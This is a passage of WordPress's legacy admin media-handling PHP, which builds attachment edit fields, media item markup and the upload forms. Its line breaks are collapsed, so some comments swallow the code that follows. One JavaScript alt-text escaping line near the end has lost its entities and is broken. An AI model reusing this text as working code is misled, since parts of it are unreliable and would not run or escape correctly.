'Full Size'. */ $size_names = apply_filters( 'image_size_names_choose', array( 'thumbnail' => __( 'Thumbnail' ), 'medium' => __( 'Medium' ), 'large' => __( 'Large' ), 'full' => __( 'Full Size' ) ) ); if ( empty($check) ) $check = get_user_setting('imgsize', 'medium'); foreach ( $size_names as $size => $label ) { $downsize = image_downsize($post->ID, $size); $checked = ''; // is this size selectable? $enabled = ( $downsize[3] || 'full' == $size ); $css_id = "image-size-{$size}-{$post->ID}"; // if this size is the default but that's not available, don't select it if ( $size == $check ) { if ( $enabled ) $checked = " checked='checked'"; else $check = ''; } elseif ( !$check && $enabled && 'thumbnail' != $size ) { // if $check is not enabled, default to the first available size that's bigger than a thumbnail $check = $size; $checked = " checked='checked'"; } $html = "<div class='image-size-item'><input type='radio' " . disabled( $enabled, false, false ) . "name='attachments[$post->ID][image-size]' id='{$css_id}' value='{$size}'$checked />"; $html .= "<label for='{$css_id}'>$label</label>"; // only show the dimensions if that choice is available if ( $enabled ) $html .= " <label for='{$css_id}' class='help'>" . sprintf( "(%d × %d)", $downsize[1], $downsize[2] ). "</label>"; $html .= '</div>'; $out[] = $html; } return array( 'label' => __('Size'), 'input' => 'html', 'html' => join("\n", $out), ); } /** * Retrieve HTML for the Link URL buttons with the default link type as specified. * * @since 2.7.0 * * @param object $post * @param string $url_type * @return string */ function image_link_input_fields($post, $url_type = '') { $file = wp_get_attachment_url($post->ID); $link = get_attachment_link($post->ID); if ( empty($url_type) ) $url_type = get_user_setting('urlbutton', 'post'); $url = ''; if ( $url_type == 'file' ) $url = $file; elseif ( $url_type == 'post' ) $url = $link; return " <input type='text' class='text urlfield' name='attachments[$post->ID][url]' value='" . esc_attr($url) . "' /><br /> <button type='button' class='button urlnone' data-link-url=''>" . __('None') . "</button> <button type='button' class='button urlfile' data-link-url='" . esc_attr($file) . "'>" . __('File URL') . "</button> <button type='button' class='button urlpost' data-link-url='" . esc_attr($link) . "'>" . __('Attachment Post URL') . "</button> "; } function wp_caption_input_textarea($edit_post) { // post data is already escaped $name = "attachments[{$edit_post->ID}][post_excerpt]"; return '<textarea name="' . $name . '" id="' . $name . '">' . $edit_post->post_excerpt . '</textarea>'; } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @param array $form_fields * @param object $post * @return array */ function image_attachment_fields_to_edit($form_fields, $post) { return $form_fields; } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @param array $form_fields * @param object $post {@internal $post not used}} * @return array */ function media_single_attachment_fields_to_edit( $form_fields, $post ) { unset($form_fields['url'], $form_fields['align'], $form_fields['image-size']); return $form_fields; } /** * {@internal Missing Short Description}} * * @since 2.8.0 * * @param array $form_fields * @param object $post {@internal $post not used}} * @return array */ function media_post_single_attachment_fields_to_edit( $form_fields, $post ) { unset($form_fields['image_url']); return $form_fields; } /** * Filters input from media_upload_form_handler() and assigns a default * post_title from the file name if none supplied. * * Illustrates the use of the attachment_fields_to_save filter * which can be used to add default values to any field before saving to DB. * * @since 2.5.0 * * @param object $post * @param array $attachment {@internal $attachment not used}} * @return array */ function image_attachment_fields_to_save( $post, $attachment ) { if ( substr( $post['post_mime_type'], 0, 5 ) == 'image' ) { if ( strlen( trim( $post['post_title'] ) ) == 0 ) { $attachment_url = ( isset( $post['attachment_url'] ) ) ? $post['attachment_url'] : $post['guid']; $post['post_title'] = preg_replace( '/\.\w+$/', '', wp_basename( $attachment_url ) ); $post['errors']['post_title']['errors'][] = __( 'Empty Title filled from filename.' ); } } return $post; } add_filter( 'attachment_fields_to_save', 'image_attachment_fields_to_save', 10, 2 ); /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @param string $html * @param integer $attachment_id * @param array $attachment * @return array */ function image_media_send_to_editor($html, $attachment_id, $attachment) { $post = get_post($attachment_id); if ( substr($post->post_mime_type, 0, 5) == 'image' ) { $url = $attachment['url']; $align = !empty($attachment['align']) ? $attachment['align'] : 'none'; $size = !empty($attachment['image-size']) ? $attachment['image-size'] : 'medium'; $alt = !empty($attachment['image_alt']) ? $attachment['image_alt'] : ''; $rel = ( $url == get_attachment_link($attachment_id) ); return get_image_send_to_editor($attachment_id, $attachment['post_excerpt'], $attachment['post_title'], $align, $url, $rel, $size, $alt); } return $html; } add_filter('media_send_to_editor', 'image_media_send_to_editor', 10, 3); /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @param object $post * @param array $errors * @return array */ function get_attachment_fields_to_edit($post, $errors = null) { if ( is_int($post) ) $post = get_post($post); if ( is_array($post) ) $post = new WP_Post( (object) $post ); $image_url = wp_get_attachment_url($post->ID); $edit_post = sanitize_post($post, 'edit'); $form_fields = array( 'post_title' => array( 'label' => __('Title'), 'value' => $edit_post->post_title ), 'image_alt' => array(), 'post_excerpt' => array( 'label' => __('Caption'), 'input' => 'html', 'html' => wp_caption_input_textarea($edit_post) ), 'post_content' => array( 'label' => __('Description'), 'value' => $edit_post->post_content, 'input' => 'textarea' ), 'url' => array( 'label' => __('Link URL'), 'input' => 'html', 'html' => image_link_input_fields($post, get_option('image_default_link_type')), 'helps' => __('Enter a link URL or click above for presets.') ), 'menu_order' => array( 'label' => __('Order'), 'value' => $edit_post->menu_order ), 'image_url' => array( 'label' => __('File URL'), 'input' => 'html', 'html' => "<input type='text' class='text urlfield' readonly='readonly' name='attachments[$post->ID][url]' value='" . esc_attr($image_url) . "' /><br />", 'value' => wp_get_attachment_url($post->ID), 'helps' => __('Location of the uploaded file.') ) ); foreach ( get_attachment_taxonomies($post) as $taxonomy ) { $t = (array) get_taxonomy($taxonomy); if ( ! $t['public'] || ! $t['show_ui'] ) continue; if ( empty($t['label']) ) $t['label'] = $taxonomy; if ( empty($t['args']) ) $t['args'] = array(); $terms = get_object_term_cache($post->ID, $taxonomy); if ( false === $terms ) $terms = wp_get_object_terms($post->ID, $taxonomy, $t['args']); $values = array(); foreach ( $terms as $term ) $values[] = $term->slug; $t['value'] = join(', ', $values); $form_fields[$taxonomy] = $t; } // Merge default fields with their errors, so any key passed with the error (e.g. 'error', 'helps', 'value') will replace the default // The recursive merge is easily traversed with array casting: foreach( (array) $things as $thing ) $form_fields = array_merge_recursive($form_fields, (array) $errors); // This was formerly in image_attachment_fields_to_edit(). if ( substr($post->post_mime_type, 0, 5) == 'image' ) { $alt = get_post_meta($post->ID, '_wp_attachment_image_alt', true); if ( empty($alt) ) $alt = ''; $form_fields['post_title']['required'] = true; $form_fields['image_alt'] = array( 'value' => $alt, 'label' => __('Alternative Text'), 'helps' => __('Alt text for the image, e.g. “The Mona Lisa”') ); $form_fields['align'] = array( 'label' => __('Alignment'), 'input' => 'html', 'html' => image_align_input_fields($post, get_option('image_default_align')), ); $form_fields['image-size'] = image_size_input_fields( $post, get_option('image_default_size', 'medium') ); } else { unset( $form_fields['image_alt'] ); } /** * Filter the attachment fields to edit. * * @since 2.5.0 * * @param array $form_fields An array of attachment form fields. * @param WP_Post $post The WP_Post attachment object. */ $form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post ); return $form_fields; } /** * Retrieve HTML for media items of post gallery. * * The HTML markup retrieved will be created for the progress of SWF Upload * component. Will also create link for showing and hiding the form to modify * the image attachment. * * @since 2.5.0 * * @param int $post_id Optional. Post ID. * @param array $errors Errors for attachment, if any. * @return string */ function get_media_items( $post_id, $errors ) { $attachments = array(); if ( $post_id ) { $post = get_post($post_id); if ( $post && $post->post_type == 'attachment' ) $attachments = array($post->ID => $post); else $attachments = get_children( array( 'post_parent' => $post_id, 'post_type' => 'attachment', 'orderby' => 'menu_order ASC, ID', 'order' => 'DESC') ); } else { if ( is_array($GLOBALS['wp_the_query']->posts) ) foreach ( $GLOBALS['wp_the_query']->posts as $attachment ) $attachments[$attachment->ID] = $attachment; } $output = ''; foreach ( (array) $attachments as $id => $attachment ) { if ( $attachment->post_status == 'trash' ) continue; if ( $item = get_media_item( $id, array( 'errors' => isset($errors[$id]) ? $errors[$id] : null) ) ) $output .= "\n<div id='media-item-$id' class='media-item child-of-$attachment->post_parent preloaded'><div class='progress hidden'><div class='bar'></div></div><div id='media-upload-error-$id' class='hidden'></div><div class='filename hidden'></div>$item\n</div>"; } return $output; } /** * Retrieve HTML form for modifying the image attachment. * * @since 2.5.0 * * @param int $attachment_id Attachment ID for modification. * @param string|array $args Optional. Override defaults. * @return string HTML form for attachment. */ function get_media_item( $attachment_id, $args = null ) { global $redir_tab; if ( ( $attachment_id = intval( $attachment_id ) ) && $thumb_url = wp_get_attachment_image_src( $attachment_id, 'thumbnail', true ) ) $thumb_url = $thumb_url[0]; else $thumb_url = false; $post = get_post( $attachment_id ); $current_post_id = !empty( $_GET['post_id'] ) ? (int) $_GET['post_id'] : 0; $default_args = array( 'errors' => null, 'send' => $current_post_id ? post_type_supports( get_post_type( $current_post_id ), 'editor' ) : true, 'delete' => true, 'toggle' => true, 'show_title' => true ); $args = wp_parse_args( $args, $default_args ); /** * Filter the arguments used to retrieve an image for the edit image form. * * @since 3.1.0 * * @see get_media_item * * @param array $args An array of arguments. */ $args = apply_filters( 'get_media_item_args', $args ); extract( $args, EXTR_SKIP ); $toggle_on = __( 'Show' ); $toggle_off = __( 'Hide' ); $filename = esc_html( wp_basename( $post->guid ) ); $title = esc_attr( $post->post_title ); if ( $_tags = get_the_tags( $attachment_id ) ) { foreach ( $_tags as $tag ) $tags[] = $tag->name; $tags = esc_attr( join( ', ', $tags ) ); } $post_mime_types = get_post_mime_types(); $keys = array_keys( wp_match_mime_types( array_keys( $post_mime_types ), $post->post_mime_type ) ); $type = array_shift( $keys ); $type_html = "<input type='hidden' id='type-of-$attachment_id' value='" . esc_attr( $type ) . "' />"; $form_fields = get_attachment_fields_to_edit( $post, $errors ); if ( $toggle ) { $class = empty( $errors ) ? 'startclosed' : 'startopen'; $toggle_links = " <a class='toggle describe-toggle-on' href='#'>$toggle_on</a> <a class='toggle describe-toggle-off' href='#'>$toggle_off</a>"; } else { $class = ''; $toggle_links = ''; } $display_title = ( !empty( $title ) ) ? $title : $filename; // $title shouldn't ever be empty, but just in case $display_title = $show_title ? "<div class='filename new'><span class='title'>" . wp_html_excerpt( $display_title, 60, '…' ) . "</span></div>" : ''; $gallery = ( ( isset( $_REQUEST['tab'] ) && 'gallery' == $_REQUEST['tab'] ) || ( isset( $redir_tab ) && 'gallery' == $redir_tab ) ); $order = ''; foreach ( $form_fields as $key => $val ) { if ( 'menu_order' == $key ) { if ( $gallery ) $order = "<div class='menu_order'> <input class='menu_order_input' type='text' id='attachments[$attachment_id][menu_order]' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ). "' /></div>"; else $order = "<input type='hidden' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ) . "' />"; unset( $form_fields['menu_order'] ); break; } } $media_dims = ''; $meta = wp_get_attachment_metadata( $post->ID ); if ( isset( $meta['width'], $meta['height'] ) ) $media_dims .= "<span id='media-dims-$post->ID'>{$meta['width']} × {$meta['height']}</span> "; /** * Filter the media metadata. * * @since 2.5.0 * * @param string $media_dims The HTML markup containing the media dimensions. * @param WP_Post $post The WP_Post attachment object. */ $media_dims = apply_filters( 'media_meta', $media_dims, $post ); $image_edit_button = ''; if ( wp_attachment_is_image( $post->ID ) && wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) { $nonce = wp_create_nonce( "image_editor-$post->ID" ); $image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>"; } $attachment_url = get_permalink( $attachment_id ); $item = " $type_html $toggle_links $order $display_title <table class='slidetoggle describe $class'> <thead class='media-item-info' id='media-head-$post->ID'> <tr> <td class='A1B1' id='thumbnail-head-$post->ID'> <p><a href='$attachment_url' target='_blank'><img class='thumbnail' src='$thumb_url' alt='' /></a></p> <p>$image_edit_button</p> </td> <td> <p><strong>" . __('File name:') . "</strong> $filename</p> <p><strong>" . __('File type:') . "</strong> $post->post_mime_type</p> <p><strong>" . __('Upload date:') . "</strong> " . mysql2date( get_option('date_format'), $post->post_date ). '</p>'; if ( !empty( $media_dims ) ) $item .= "<p><strong>" . __('Dimensions:') . "</strong> $media_dims</p>\n"; $item .= "</td></tr>\n"; $item .= " </thead> <tbody> <tr><td colspan='2' class='imgedit-response' id='imgedit-response-$post->ID'></td></tr> <tr><td style='display:none' colspan='2' class='image-editor' id='image-editor-$post->ID'></td></tr>\n"; $defaults = array( 'input' => 'text', 'required' => false, 'value' => '', 'extra_rows' => array(), ); if ( $send ) $send = get_submit_button( __( 'Insert into Post' ), 'button', "send[$attachment_id]", false ); if ( $delete && current_user_can( 'delete_post', $attachment_id ) ) { if ( !EMPTY_TRASH_DAYS ) { $delete = "<a href='" . wp_nonce_url( "post.php?action=delete&post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete-permanently'>" . __( 'Delete Permanently' ) . '</a>'; } elseif ( !MEDIA_TRASH ) { $delete = "<a href='#' class='del-link' onclick=\"document.getElementById('del_attachment_$attachment_id').style.display='block';return false;\">" . __( 'Delete' ) . "</a> <div id='del_attachment_$attachment_id' class='del-attachment' style='display:none;'><p>" . sprintf( __( 'You are about to delete <strong>%s</strong>.' ), $filename ) . "</p> <a href='" . wp_nonce_url( "post.php?action=delete&post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='button'>" . __( 'Continue' ) . "</a> <a href='#' class='button' onclick=\"this.parentNode.style.display='none';return false;\">" . __( 'Cancel' ) . "</a> </div>"; } else { $delete = "<a href='" . wp_nonce_url( "post.php?action=trash&post=$attachment_id", 'trash-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete'>" . __( 'Move to Trash' ) . "</a> <a href='" . wp_nonce_url( "post.php?action=untrash&post=$attachment_id", 'untrash-post_' . $attachment_id ) . "' id='undo[$attachment_id]' class='undo hidden'>" . __( 'Undo' ) . "</a>"; } } else { $delete = ''; } $thumbnail = ''; $calling_post_id = 0; if ( isset( $_GET['post_id'] ) ) $calling_post_id = absint( $_GET['post_id'] ); elseif ( isset( $_POST ) && count( $_POST ) ) // Like for async-upload where $_GET['post_id'] isn't set $calling_post_id = $post->post_parent; if ( 'image' == $type && $calling_post_id && current_theme_supports( 'post-thumbnails', get_post_type( $calling_post_id ) ) && post_type_supports( get_post_type( $calling_post_id ), 'thumbnail' ) && get_post_thumbnail_id( $calling_post_id ) != $attachment_id ) { $ajax_nonce = wp_create_nonce( "set_post_thumbnail-$calling_post_id" ); $thumbnail = "<a class='wp-post-thumbnail' id='wp-post-thumbnail-" . $attachment_id . "' href='#' onclick='WPSetAsThumbnail(\"$attachment_id\", \"$ajax_nonce\");return false;'>" . esc_html__( "Use as featured image" ) . "</a>"; } if ( ( $send || $thumbnail || $delete ) && !isset( $form_fields['buttons'] ) ) $form_fields['buttons'] = array( 'tr' => "\t\t<tr class='submit'><td></td><td class='savesend'>$send $thumbnail $delete</td></tr>\n" ); $hidden_fields = array(); foreach ( $form_fields as $id => $field ) { if ( $id[0] == '_' ) continue; if ( !empty( $field['tr'] ) ) { $item .= $field['tr']; continue; } $field = array_merge( $defaults, $field ); $name = "attachments[$attachment_id][$id]"; if ( $field['input'] == 'hidden' ) { $hidden_fields[$name] = $field['value']; continue; } $required = $field['required'] ? '<span class="alignright"><abbr title="required" class="required">*</abbr></span>' : ''; $aria_required = $field['required'] ? " aria-required='true' " : ''; $class = $id; $class .= $field['required'] ? ' form-required' : ''; $item .= "\t\t<tr class='$class'>\n\t\t\t<th scope='row' class='label'><label for='$name'><span class='alignleft'>{$field['label']}</span>$required<br class='clear' /></label></th>\n\t\t\t<td class='field'>"; if ( !empty( $field[ $field['input'] ] ) ) $item .= $field[ $field['input'] ]; elseif ( $field['input'] == 'textarea' ) { if ( 'post_content' == $id && user_can_richedit() ) { // sanitize_post() skips the post_content when user_can_richedit $field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES ); } // post_excerpt is already escaped by sanitize_post() in get_attachment_fields_to_edit() $item .= "<textarea id='$name' name='$name' $aria_required>" . $field['value'] . '</textarea>'; } else { $item .= "<input type='text' class='text' id='$name' name='$name' value='" . esc_attr( $field['value'] ) . "' $aria_required />"; } if ( !empty( $field['helps'] ) ) $item .= "<p class='help'>" . join( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>'; $item .= "</td>\n\t\t</tr>\n"; $extra_rows = array(); if ( !empty( $field['errors'] ) ) foreach ( array_unique( (array) $field['errors'] ) as $error ) $extra_rows['error'][] = $error; if ( !empty( $field['extra_rows'] ) ) foreach ( $field['extra_rows'] as $class => $rows ) foreach ( (array) $rows as $html ) $extra_rows[$class][] = $html; foreach ( $extra_rows as $class => $rows ) foreach ( $rows as $html ) $item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n"; } if ( !empty( $form_fields['_final'] ) ) $item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n"; $item .= "\t</tbody>\n"; $item .= "\t</table>\n"; foreach ( $hidden_fields as $name => $value ) $item .= "\t<input type='hidden' name='$name' id='$name' value='" . esc_attr( $value ) . "' />\n"; if ( $post->post_parent < 1 && isset( $_REQUEST['post_id'] ) ) { $parent = (int) $_REQUEST['post_id']; $parent_name = "attachments[$attachment_id][post_parent]"; $item .= "\t<input type='hidden' name='$parent_name' id='$parent_name' value='$parent' />\n"; } return $item; } function get_compat_media_markup( $attachment_id, $args = null ) { $post = get_post( $attachment_id ); $default_args = array( 'errors' => null, 'in_modal' => false, ); $user_can_edit = current_user_can( 'edit_post', $attachment_id ); $args = wp_parse_args( $args, $default_args ); /** This filter is documented in wp-admin/includes/media.php */ $args = apply_filters( 'get_media_item_args', $args ); $form_fields = array(); if ( $args['in_modal'] ) { foreach ( get_attachment_taxonomies($post) as $taxonomy ) { $t = (array) get_taxonomy($taxonomy); if ( ! $t['public'] || ! $t['show_ui'] ) continue; if ( empty($t['label']) ) $t['label'] = $taxonomy; if ( empty($t['args']) ) $t['args'] = array(); $terms = get_object_term_cache($post->ID, $taxonomy); if ( false === $terms ) $terms = wp_get_object_terms($post->ID, $taxonomy, $t['args']); $values = array(); foreach ( $terms as $term ) $values[] = $term->slug; $t['value'] = join(', ', $values); $t['taxonomy'] = true; $form_fields[$taxonomy] = $t; } } // Merge default fields with their errors, so any key passed with the error (e.g. 'error', 'helps', 'value') will replace the default // The recursive merge is easily traversed with array casting: foreach( (array) $things as $thing ) $form_fields = array_merge_recursive($form_fields, (array) $args['errors'] ); /** This filter is documented in wp-admin/includes/media.php */ $form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post ); unset( $form_fields['image-size'], $form_fields['align'], $form_fields['image_alt'], $form_fields['post_title'], $form_fields['post_excerpt'], $form_fields['post_content'], $form_fields['url'], $form_fields['menu_order'], $form_fields['image_url'] ); /** This filter is documented in wp-admin/includes/media.php */ $media_meta = apply_filters( 'media_meta', '', $post ); $defaults = array( 'input' => 'text', 'required' => false, 'value' => '', 'extra_rows' => array(), 'show_in_edit' => true, 'show_in_modal' => true, ); $hidden_fields = array(); $item = ''; foreach ( $form_fields as $id => $field ) { if ( $id[0] == '_' ) continue; $name = "attachments[$attachment_id][$id]"; $id_attr = "attachments-$attachment_id-$id"; if ( !empty( $field['tr'] ) ) { $item .= $field['tr']; continue; } $field = array_merge( $defaults, $field ); if ( ( ! $field['show_in_edit'] && ! $args['in_modal'] ) || ( ! $field['show_in_modal'] && $args['in_modal'] ) ) continue; if ( $field['input'] == 'hidden' ) { $hidden_fields[$name] = $field['value']; continue; } $readonly = ! $user_can_edit && ! empty( $field['taxonomy'] ) ? " readonly='readonly' " : ''; $required = $field['required'] ? '<span class="alignright"><abbr title="required" class="required">*</abbr></span>' : ''; $aria_required = $field['required'] ? " aria-required='true' " : ''; $class = 'compat-field-' . $id; $class .= $field['required'] ? ' form-required' : ''; $item .= "\t\t<tr class='$class'>"; $item .= "\t\t\t<th scope='row' class='label'><label for='$id_attr'><span class='alignleft'>{$field['label']}</span>$required<br class='clear' /></label>"; $item .= "</th>\n\t\t\t<td class='field'>"; if ( !empty( $field[ $field['input'] ] ) ) $item .= $field[ $field['input'] ]; elseif ( $field['input'] == 'textarea' ) { if ( 'post_content' == $id && user_can_richedit() ) { // sanitize_post() skips the post_content when user_can_richedit $field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES ); } $item .= "<textarea id='$id_attr' name='$name' $aria_required>" . $field['value'] . '</textarea>'; } else { $item .= "<input type='text' class='text' id='$id_attr' name='$name' value='" . esc_attr( $field['value'] ) . "' $readonly $aria_required />"; } if ( !empty( $field['helps'] ) ) $item .= "<p class='help'>" . join( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>'; $item .= "</td>\n\t\t</tr>\n"; $extra_rows = array(); if ( !empty( $field['errors'] ) ) foreach ( array_unique( (array) $field['errors'] ) as $error ) $extra_rows['error'][] = $error; if ( !empty( $field['extra_rows'] ) ) foreach ( $field['extra_rows'] as $class => $rows ) foreach ( (array) $rows as $html ) $extra_rows[$class][] = $html; foreach ( $extra_rows as $class => $rows ) foreach ( $rows as $html ) $item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n"; } if ( !empty( $form_fields['_final'] ) ) $item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n"; if ( $item ) $item = '<table class="compat-attachment-fields">' . $item . '</table>'; foreach ( $hidden_fields as $hidden_field => $value ) { $item .= '<input type="hidden" name="' . esc_attr( $hidden_field ) . '" value="' . esc_attr( $value ) . '" />' . "\n"; } if ( $item ) $item = '<input type="hidden" name="attachments[' . $attachment_id . '][menu_order]" value="' . esc_attr( $post->menu_order ) . '" />' . $item; return array( 'item' => $item, 'meta' => $media_meta, ); } /** * {@internal Missing Short Description}} * * @since 2.5.0 */ function media_upload_header() { $post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0; echo '<script type="text/javascript">post_id = ' . $post_id . ";</script>\n"; if ( empty( $_GET['chromeless'] ) ) { echo '<div id="media-upload-header">'; the_media_upload_tabs(); echo '</div>'; } } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @param unknown_type $errors */ function media_upload_form( $errors = null ) { global $type, $tab, $is_IE, $is_opera; if ( ! _device_can_upload() ) { echo '<p>' . sprintf( __('The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.'), 'https://wordpress.org/mobile/' ) . '</p>'; return; } $upload_action_url = admin_url('async-upload.php'); $post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0; $_type = isset($type) ? $type : ''; $_tab = isset($tab) ? $tab : ''; $upload_size_unit = $max_upload_size = wp_max_upload_size(); $sizes = array( 'KB', 'MB', 'GB' ); for ( $u = -1; $upload_size_unit > 1024 && $u < count( $sizes ) - 1; $u++ ) { $upload_size_unit /= 1024; } if ( $u < 0 ) { $upload_size_unit = 0; $u = 0; } else { $upload_size_unit = (int) $upload_size_unit; } ?> <div id="media-upload-notice"><?php if (isset($errors['upload_notice']) ) echo $errors['upload_notice']; ?></div> <div id="media-upload-error"><?php if (isset($errors['upload_error']) && is_wp_error($errors['upload_error'])) echo $errors['upload_error']->get_error_message(); ?></div> <?php if ( is_multisite() && !is_upload_space_available() ) { /** * Fires when an upload will exceed the defined upload space quota for a network site. * * @since 3.5.0 */ do_action( 'upload_ui_over_quota' ); return; } /** * Fires just before the legacy (pre-3.5.0) upload interface is loaded. * * @since 2.6.0 */ do_action( 'pre-upload-ui' ); $post_params = array( "post_id" => $post_id, "_wpnonce" => wp_create_nonce('media-form'), "type" => $_type, "tab" => $_tab, "short" => "1", ); /** * Filter the media upload post parameters. * * @since 3.1.0 As 'swfupload_post_params' * @since 3.3.0 * * @param array $post_params An array of media upload parameters used by Plupload. */ $post_params = apply_filters( 'upload_post_params', $post_params ); $plupload_init = array( 'runtimes' => 'html5,flash,silverlight,html4', 'browse_button' => 'plupload-browse-button', 'container' => 'plupload-upload-ui', 'drop_element' => 'drag-drop-area', 'file_data_name' => 'async-upload', 'url' => $upload_action_url, 'flash_swf_url' => includes_url( 'js/plupload/plupload.flash.swf' ), 'silverlight_xap_url' => includes_url( 'js/plupload/plupload.silverlight.xap' ), 'filters' => array( 'max_file_size' => $max_upload_size . 'b', ), 'multipart_params' => $post_params, ); // Multi-file uploading doesn't currently work in iOS Safari, // single-file allows the built-in camera to be used as source for images if ( wp_is_mobile() ) $plupload_init['multi_selection'] = false; /** * Filter the default Plupload settings. * * @since 3.3.0 * * @param array $plupload_init An array of default settings used by Plupload. */ $plupload_init = apply_filters( 'plupload_init', $plupload_init ); ?> <script type="text/javascript"> <?php // Verify size is an int. If not return default value. $large_size_h = absint( get_option('large_size_h') ); if( !$large_size_h ) $large_size_h = 1024; $large_size_w = absint( get_option('large_size_w') ); if( !$large_size_w ) $large_size_w = 1024; ?> var resize_height = <?php echo $large_size_h; ?>, resize_width = <?php echo $large_size_w; ?>, wpUploaderInit = <?php echo json_encode($plupload_init); ?>; </script> <div id="plupload-upload-ui" class="hide-if-no-js"> <?php /** * Fires before the upload interface loads. * * @since 2.6.0 As 'pre-flash-upload-ui' * @since 3.3.0 */ do_action( 'pre-plupload-upload-ui' ); ?> <div id="drag-drop-area"> <div class="drag-drop-inside"> <p class="drag-drop-info"><?php _e('Drop files here'); ?></p> <p><?php _ex('or', 'Uploader: Drop files here - or - Select Files'); ?></p> <p class="drag-drop-buttons"><input id="plupload-browse-button" type="button" value="<?php esc_attr_e('Select Files'); ?>" class="button" /></p> </div> </div> <?php /** * Fires after the upload interface loads. * * @since 2.6.0 As 'post-flash-upload-ui' * @since 3.3.0 */ do_action( 'post-plupload-upload-ui' ); ?> </div> <div id="html-upload-ui" class="hide-if-js"> <?php /** * Fires before the upload button in the media upload interface. * * @since 2.6.0 */ do_action( 'pre-html-upload-ui' ); ?> <p id="async-upload-wrap"> <label class="screen-reader-text" for="async-upload"><?php _e('Upload'); ?></label> <input type="file" name="async-upload" id="async-upload" /> <?php submit_button( __( 'Upload' ), 'button', 'html-upload', false ); ?> <a href="#" onclick="try{top.tb_remove();}catch(e){}; return false;"><?php _e('Cancel'); ?></a> </p> <div class="clear"></div> <?php /** * Fires after the upload button in the media upload interface. * * @since 2.6.0 */ do_action( 'post-html-upload-ui' ); ?> </div> <span class="max-upload-size"><?php printf( __( 'Maximum upload file size: %d%s.' ), esc_html($upload_size_unit), esc_html($sizes[$u]) ); ?></span> <?php /** * Fires on the post upload UI screen. * * Legacy (pre-3.5.0) media workflow hook. * * @since 2.6.0 */ do_action( 'post-upload-ui' ); } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @param string $type * @param object $errors * @param integer $id */ function media_upload_type_form($type = 'file', $errors = null, $id = null) { media_upload_header(); $post_id = isset( $_REQUEST['post_id'] )? intval( $_REQUEST['post_id'] ) : 0; $form_action_url = admin_url("media-upload.php?type=$type&tab=type&post_id=$post_id"); /** * Filter the media upload form action URL. * * @since 2.6.0 * * @param string $form_action_url The media upload form action URL. * @param string $type The type of media. Default 'file'. */ $form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type ); $form_class = 'media-upload-form type-form validate'; if ( get_user_setting('uploader') ) $form_class .= ' html-uploader'; ?> <form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form"> <?php submit_button( '', 'hidden', 'save', false ); ?> <input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" /> <?php wp_nonce_field('media-form'); ?> <h3 class="media-title"><?php _e('Add media files from your computer'); ?></h3> <?php media_upload_form( $errors ); ?> <script type="text/javascript"> //<![CDATA[ jQuery(function($){ var preloaded = $(".media-item.preloaded"); if ( preloaded.length > 0 ) { preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');}); } updateMediaForm(); }); //]]> </script> <div id="media-items"><?php if ( $id ) { if ( !is_wp_error($id) ) { add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2); echo get_media_items( $id, $errors ); } else { echo '<div id="media-upload-error">'.esc_html($id->get_error_message()).'</div></div>'; exit; } } ?></div> <p class="savebutton ml-submit"> <?php submit_button( __( 'Save all changes' ), 'button', 'save', false ); ?> </p> </form> <?php } /** * {@internal Missing Short Description}} * * @since 2.7.0 * * @param string $type * @param object $errors * @param integer $id */ function media_upload_type_url_form($type = null, $errors = null, $id = null) { if ( null === $type ) $type = 'image'; media_upload_header(); $post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0; $form_action_url = admin_url("media-upload.php?type=$type&tab=type&post_id=$post_id"); /** This filter is documented in wp-admin/includes/media.php */ $form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type ); $form_class = 'media-upload-form type-form validate'; if ( get_user_setting('uploader') ) $form_class .= ' html-uploader'; ?> <form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form"> <input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" /> <?php wp_nonce_field('media-form'); ?> <h3 class="media-title"><?php _e('Insert media from another website'); ?></h3> <script type="text/javascript"> //<![CDATA[ var addExtImage = { width : '', height : '', align : 'alignnone', insert : function() { var t = this, html, f = document.forms[0], cls, title = '', alt = '', caption = ''; if ( '' == f.src.value || '' == t.width ) return false; if ( f.alt.value ) alt = f.alt.value.replace(/'/g, ''').replace(/"/g, '"').replace(/</g, '<').replace(/>/g, '>'); <?php /** This filter is documented in 